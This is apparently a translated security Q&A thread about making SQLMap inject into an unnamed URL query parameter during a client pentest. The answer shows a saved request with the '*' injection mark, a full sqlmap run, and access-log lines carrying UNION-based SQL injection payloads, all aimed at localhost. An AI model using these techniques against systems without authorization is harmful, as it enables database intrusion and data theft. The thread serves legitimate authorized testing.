SQLMap: Probando la URL del parámetro implícito

3

Estoy saturando el sitio web de un cliente pero no puedo encontrar una sintaxis para indicar a SQLMap que la variable que debería probar no tiene un nombre explícito en la URL.

Ya probé el método MVC que dice usar * (asterisco, no funcionó), pero esto es un poco diferente. En lugar de:

http://web.site/index/aksjdnas

está en la forma:

http://web.site/index.aspx?aksjdnas

con aksjdnas el valor del parámetro, no su nombre. SQLMap sigue usándolo como el nombre del parámetro. ¿Alguien ha visto una solución a este problema?

Editar:

Realmente no puedo entender por qué esta pregunta fue puesta fuera de tema ya que es una pregunta "sobre tema" como se indica en Centro de ayuda: herramienta de seguridad y no le estoy pidiendo a nadie que rompa nada por mí.

Simplemente estoy pidiendo ayuda con la sintaxis en una herramienta de seguridad. Hay varias otras preguntas sobre este problema aquí en SE IS, y ninguna de ellas ha sido cerrada. Empecé una nueva pregunta porque la solución propuesta allí no me ha funcionado, ya que hay algunas diferencias en el formato de URL.

    
pregunta DarkLighting 19.02.2015 - 21:52
fuente

1 respuesta

1

Confirmó que funciona según lo previsto con un asterisco , utilizando el mapa sql de Backtrack 5r2, pero debería comportarse igual con Kali. El siguiente ejemplo no funciona porque lo estoy ejecutando contra un archivo html estático, pero muestra las inyecciones que ocurren en el lugar correcto.

Primero guardé la solicitud en un archivo y agregué el asterisco:

root@bt:/pentest/database/sqlmap# cat trq 
GET /?arg1*=test123 HTTP/1.1
Host: localhost
User-Agent: Mozilla/4.0

A continuación, invoque sqlmap con el parámetro -r:

root@bt:/pentest/database/sqlmap# ./sqlmap.py -r trq

    sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 01:30:27

[01:30:27] [INFO] parsing HTTP request from 'trq'
custom injection mark ('*') found in '-u'. Do you want to process it? [Y/n/q] Y

[01:30:32] [INFO] testing connection to the target url
[01:30:33] [INFO] heuristics detected web page charset 'ascii'
[01:30:33] [INFO] testing if the url is stable, wait a few seconds
[01:30:34] [INFO] url is stable
[01:30:34] [INFO] testing if URI parameter '#1*' is dynamic
[01:30:34] [WARNING] URI parameter '#1*' appears to be not dynamic
[01:30:34] [WARNING] heuristic test shows that URI parameter '#1*' might not be injectable
[01:30:34] [INFO] testing for SQL injection on URI parameter '#1*'
[01:30:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[01:30:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[01:30:34] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[01:30:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[01:30:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:30:35] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[01:30:35] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[01:30:35] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:30:35] [INFO] testing 'Oracle AND time-based blind'
[01:30:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[01:30:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:30:35] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using the --dbms option
[01:30:35] [WARNING] URI parameter '#1*' is not injectable
[01:30:35] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details

[*] shutting down at 01:30:35

Ok, parece que probó algunas inyecciones, confirmémoslo mirando el registro del servidor web:

root@bt:/pentest/database/sqlmap# tail /var/log/apache2/access.log
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"
127.0.0.1 - - [24/Feb/2015:01:30:35 -0500] "GET /?arg1%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20=test123 HTTP/1.1" 200 302 "-" "Mozilla/4.0"

El archivo de registro confirma que la inyección se colocó donde estaba el asterisco y no se asignó al valor del parámetro.

Editar , abordando el ejemplo específico dado: %código% También se inyecta correctamente en el registro:

root@bt:/pentest/database/sqlmap# tail /var/log/apache2/access.log
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
127.0.0.1 - - [24/Feb/2015:01:40:57 -0500] "GET /test.php?argv2%'%20UNION%20ALL%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL--%20 HTTP/1.1" 200 40 "-" "sqlmap/1.0-dev-25eca9d (http://sqlmap.org)"
    
respondido por el wireghoul 24.02.2015 - 07:36
fuente

Lea otras preguntas en las etiquetas